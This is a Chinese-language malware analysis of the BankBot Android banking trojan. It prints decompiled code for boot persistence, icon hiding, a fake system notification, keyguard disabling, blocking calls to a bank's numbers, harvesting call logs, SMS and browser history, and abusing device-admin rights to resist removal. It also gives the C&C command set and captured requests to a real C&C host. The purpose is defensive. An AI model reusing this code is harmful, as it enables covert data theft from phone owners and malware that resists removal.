Bankbot APK 样本分析

0x00 样本概况

字段 内容
样本名 BankBot
MD5 3c42c391bec405bb28b28195c2961778
SHA256 93b64019ee48177889d908c393703a2a2fe05ca33793c14b175467ce619b1b94
文件类型 APK

这是一个以盗窃信用卡用户密码为主要目的的bot。安装后显示为Android图标。打开App后
会以Android系统更新的形式,诱导用户操作达到常驻系统的目的。

0x01 行为分析

开机自启动

1
2
3
4
5
6
7
8
9
10
11
12
<receiver android:name="com.android.market.Autorun">
<intent-filter android:priority="999">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
<intent-filter android:priority="1000">
<action android:name="android.intent.action.REBOOT" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>

Autorun

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.android.market;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public final class Autorun extends BroadcastReceiver {
public Autorun() {
super();
}

public void onReceive(Context context, Intent intent) {
Intent v0 = new Intent(context, Scheduler.class);
v0.setFlags(0x10000000);
context.startService(v0);
}
}

开机将启动 Schedule 服务

Schedule 服务

1
2
3
4
5
6
7
8
9
10
11
12
13
public int onStartCommand(Intent intent, int flags, int startId) {
super.onStartCommand(intent, flags, startId);
Utils.registerIfNeeded(((Context)this));
Object v0 = this.getSystemService("alarm");
PendingIntent v6 = PendingIntent.getBroadcast(((Context)this), 0, new Intent(((Context)this),
NetworkController.class), 0);
int v7 = FileController.fileExists(((Context)this), "interval") ? Integer.parseInt(FileController
.readFile(((Context)this), "interval")) : 0xA;
((AlarmManager)v0).setRepeating(0, System.currentTimeMillis() + 0x2710, ((long)(v7 * 0x3E8)),
v6);
this.handleCrashes();
return 1;
}

Schedule 服务使用alarm manager 注册一个定时任务。这个定时任务由NetworkController完成。
时间间隔由配置文件interval决定。

com.android.market.FileController

1
2
3
static final boolean fileExists(Context context, String filename) {
return new File(context.getFilesDir(), filename).exists();
}

隐藏App 图标

1
2
3
4
5
6
7
static final void hideApp(Context context, boolean hide) {
ComponentName v0 = new ComponentName(context.getPackageName(), String.valueOf(context.getPackageName())
+ ".MainActivity");
PackageManager v3 = context.getPackageManager();
int v1 = hide ? 2 : 1;
v3.setComponentEnabledSetting(v0, v1, 1);
}

伪造的系统Notification

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onCreate() {
super.onCreate();
new AppCrash().Register(((Context)this));
Notification v3 = new Notification(0x108008A, "Android system requires user action", System.
currentTimeMillis());
Intent v1 = new Intent(this.getApplicationContext(), AdminX.class);
v1.setAction("android.intent.action.VIEW");
v1.setFlags(0x34000000);
v3.setLatestEventInfo(this.getBaseContext(), "Android", "Android system requires action", PendingIntent
.getActivity(((Context)this), 0, v1, 0x8000000));
v3.flags |= 0x62;
this.startForeground(2, v3);
new Helper(this).execute(new Void[0]);
}

禁用屏幕锁定

1
AdminX.this.getSystemService("keyguard").newKeyguardLock("ANDROID").disableKeyguard();

禁止拨打指定号码电话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void onReceive(Context context, Intent intent) {
String[] v8;
String action = intent.getAction();
String v6 = intent.getStringExtra("state");
String v3 = intent.getStringExtra("incoming_number");
String v5 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER");
String v1 = "8005555550; 4955005550;";
String v10 = "8005555550; 4955005550;";
String v11 = "";
int v9 = 0;
if(action.equals("android.intent.action.NEW_OUTGOING_CALL")) {
String v4 = v5.replace("+", "").replace("#", "d").replace("*", "s").replace(" ", "").replace(
"-", "");
if(v1 != null) {
v8 = v1.replace(" ", "").split(";");
if(v8.length > 0) {
int v13;
for(v13 = 0; v13 < v8.length; ++v13) {
if(v4.contains(v8[v13])) {
v9 = 1;
v11 = String.valueOf(v11) + "blocked outgoing call";
this.setResultData(null);
}
}
}
}

if(v9 == 0) {
v11 = String.valueOf(v11) + "outgoing call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v4,
v11) + "]"});
}
...
}

通过网页 http://www.sberbank.com/news-and-media/contacts 中的信息我们可以知道:

8005555550 4955005550 这两个号码 sberbank 的号码,在俄罗斯拨打免费。

禁止接听指定号码电话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
String v10 = "8005555550; 4955005550;";

if((action.equals("android.intent.action.PHONE_STATE")) && (v6.equals("RINGING"))) {
String v2 = v3 != null ? v3.replace("+", "").replace("#", "d").replace("*", "s").replace(
" ", "").replace("-", "") : "Unknown";
if(v10 != null) {
v8 = v10.replace(" ", "").split(";");
for(v13 = 0; v13 < v8.length; ++v13) {
if(v2.contains(v8[v13])) {
v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}
}

if(!v2.contains("Unknown")) {
goto label_106;
}

v11 = "blocked incoming call";
v9 = 1;
this.hangUp(context);
}

label_106:
if(v9 == 0) {
v11 = "incoming call";
}

new ReportWithDataTask(context, "call_data").execute(new Object[]{"[" + this.toJSON(v2,
v11) + "]"});
}

隐私窃取

获取电话拨打记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private StringBuilder getCallLog() {
StringBuilder v20 = new StringBuilder("[");
String v18 = "O||U|T||||G|O|||I|N||G|".replace("|", "");
Cursor v10 = this.context.getContentResolver().query(CallLog$Calls.CONTENT_URI, null, null,
null, null);
String v15 = "I++N+C+O+++M+I++N+G+".replace("+", "");
String v16 = "M-I--S--S---E--D---".replace("-", "");
String v22 = "***{\"n*u**mb**e*r\"***:%s,\"da****te\":%s,\"d*u*ra****ti*o***n\":%s,\"t*yp***e\":%s}*"
.replace("*", "");
if((v10.moveToFirst()) && v10.getCount() > 0) {
int v17 = v10.getColumnIndex("number");
int v21 = v10.getColumnIndex("type");
int v11 = v10.getColumnIndex("date");
int v14 = v10.getColumnIndex("duration");
while(!v10.isAfterLast()) {
String v19 = v10.getString(v17);
String v9 = v10.getString(v21);
String v7 = v10.getString(v11);
String v8 = v10.getString(v14);
String v13 = null;
switch(Integer.parseInt(v9)) {
case 1: {
v13 = v15;
break;
}
case 2: {
v13 = v18;
break;
}
case 3: {
v13 = v16;
break;
}
}

v20.append(String.format(Locale.US, v22, JSONObject.quote(v19), JSONObject.quote(
v7), JSONObject.quote(v8), JSONObject.quote(v13)));
if(!v10.isLast()) {
v20.append(",");
}

v10.moveToNext();
}

v10.close();
}

return v20.append("]");
}

获取短信记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private StringBuilder getSmsLog() {
StringBuilder v10 = new StringBuilder("[");
Cursor v8 = this.context.getContentResolver().query(Uri.parse("content://ABC".replace("A",
"s").replace("B", "m").replace("C", "s")), null, null, null, null);
if((v8.moveToFirst()) && v8.getCount() > 0) {
while(!v8.isAfterLast()) {
v10.append(String.format(Locale.US, "{\"address\":%s,\"body\":%s,\"date\":%s}",
JSONObject.quote(v8.getString(v8.getColumnIndex("address"))), JSONObject
.quote(v8.getString(v8.getColumnIndex("body"))), JSONObject.quote(v8.getString(
v8.getColumnIndex("date")))));
if(!v8.isLast()) {
v10.append(",");
}

v8.moveToNext();
}

v8.close();
}

return v10.append("]");
}

浏览器书签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private StringBuilder getHistory(Uri historyUri) {
StringBuilder v8 = new StringBuilder("[");
Cursor v6 = this.context.getContentResolver().query(historyUri, new String[]{"title", "url",
"date"}, "bookmark = 0", null, null);
if((v6.moveToFirst()) && v6.getCount() > 0) {
while(!v6.isAfterLast()) {
v8.append(String.format(Locale.US, "{\"title\":%s,\"url\":%s,\"date\":%s}", JSONObject
.quote(v6.getString(v6.getColumnIndex("title"))), JSONObject.quote(v6.getString(
v6.getColumnIndex("url"))), JSONObject.quote(v6.getString(v6.getColumnIndex(
"date")))));
if(!v6.isLast()) {
v8.append(",");
}

v6.moveToNext();
}

v6.close();
}

return v8.append("]");
}

骗取信用卡信息

当用户打开Google Play 应用时,打开伪造的Activity,诱使用户输入信用卡信息。

高级技术

不断重启的Servcie

com.android.smali3

1
2
3
4
public void onDestroy() {
super.onDestroy();
this.startService(new Intent(this.getApplicationContext(), smali3.class));
}

服务被停止,立即重启,无法停止。

防止卸载

Bankbot 申请 Device Admin 权限,无法被正常卸载。

1
2
3
> adb shell pm uninstall com.android.market
Failure

禁止删除 Device Admin 权限

这个一个非常流氓的做法,具体的做法是如下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class AdRec extends DeviceAdminReceiver {
public AdRec() {
super();
}

public CharSequence onDisableRequested(Context context, Intent intent) {
new AppCrash().Register(context);
if(Build$VERSION.SDK_INT <= 0xA) {
Intent v2 = new Intent("android.settings.SETTINGS");
v2.setFlags(0x50000000);
context.startActivity(v2);
Intent v4 = new Intent("android.intent.action.MAIN");
v4.addCategory("android.intent.category.HOME");
v4.setFlags(0x10000000);
context.startActivity(v4);
return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}

context.startService(new Intent(context, ASec.class));
long v6 = 0x7D0;
try {
Thread.sleep(v6);
}
catch(InterruptedException v3) {
v3.printStackTrace();
}

return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel.";
}

...
}

重写 DeviceAdminReceiver 的 onDisableRequest 方法。使用 Thread.sleep 方法使用户
无法操作界面,在此期间采取 Activity 切换的方法绕开取消激活的步骤。

这里出过几个问题,

  1. Backdoor.AndroidOS.Obad.a 使用的,在设备管理器中隐身
  2. 就是现在代码中所用到这个,目前在所有的Android 版本中存在。

界面劫持

通过界面劫持,诱使用户将App设置为设备管理器。从下图中可以看见Continues按钮其实
是设备管理器的激活按钮。

使用翠鸟对恶意样本进行检查的结果

0x02 C&C 协议分析

Bankbot 以固定时间轮询的方式向C&C服务器请求命令,命令的格式为json格式。从代码中
可以得到json字段的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static final String FIELD_ACTION = "action";
private static final String FIELD_CALL_LOG = "call_log";
private static final String FIELD_DATA = "data";
private static final String FIELD_HISTORY = "browser_history";
private static final String FIELD_ID = "id";
private static final String FIELD_IMEI = "imei";
private static final String FIELD_INTERCEPT = "intercept";
private static final String FIELD_MAYHEM = "mayhem";
private static final String FIELD_MESSAGE = "prefix_1";
private static final String FIELD_NEW_SERVER = "server";
private static final String FIELD_NUMBER_SEND_TO = "number_1";
private static final String FIELD_OPERATOR = "op";
private static final String FIELD_PHONE = "phone";
private static final String FIELD_POLL_INTERVAL = "server_poll";
private static final String FIELD_PREFIX = "prefix";
private static final String FIELD_REPORT_CALLS = "calls";
private static final String FIELD_SMS_HISTORY = "sms_history";
private static final String FIELD_SPAM = "text_2";
private static final String FIELD_STATUS = "status";
private static final String FIELD_URL_TO_SHOW = "url";
private static final String FIELD_VERSION = "version";

请求注册

返回报文

401

注册报文

请求报文

1
2
3
4
5
6
7
POST /p/gate.php HTTP/1.1
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=reg&imei=098767899076562&phone=15802920457&op=Android&version=4.4.4%2C3.4.0-gd853d22&prefix=12Jhw21

响应报文

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

3
200
0


获取命令

1
2
3
4
5
6
7
POST /p/gate.php HTTP/1.1
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Host: quick-sshopping.com
Connection: Keep-Alive

action=poll&imei=098767899076562
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: nginx/1.8.0
Date: Tue, 23 Feb 2016 07:25:30 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.31

0


返回的命令为json 格式,主要的指令有下面几个,

指令 含义
401 要求 bot 注册
call_log 获取电话记录, 发送到C&C server
sms_history 获取短信内容,发送到C&C server
browser_history 获取浏览器书签,发送到C&C server
url 访问url 链接
server 更换C&C server
intercept
server_poll 更新从服务器获取命令的时间间隔
mayhem
calls

监视服务了大半天,没有收到有效指令,看来不是特别活跃。

0x03清除

这个App的清除非常费劲,原因就是注册为设备管理器的app不能卸载,而这个App又使诈
不让我们取消设备管理器,估计只有root的机器会好处理一些。

0x04总结

BankBot 样本,代码编写的相当规范,风格严谨,是正规程序员的作品。但行为非常流氓,
很顽固,不容易清除。所以遇到申请device admin 权限的程序一定要小心谨慎,以免不良
后果。而Android的界面劫持也是一个严重的问题,估计后续利用这些技术的恶意App的数量
会越来越多。


Bankbot APK 样本分析
https://usmacd.com/cn/BankBot/
作者
henices
发布于
2023年9月6日
许可协议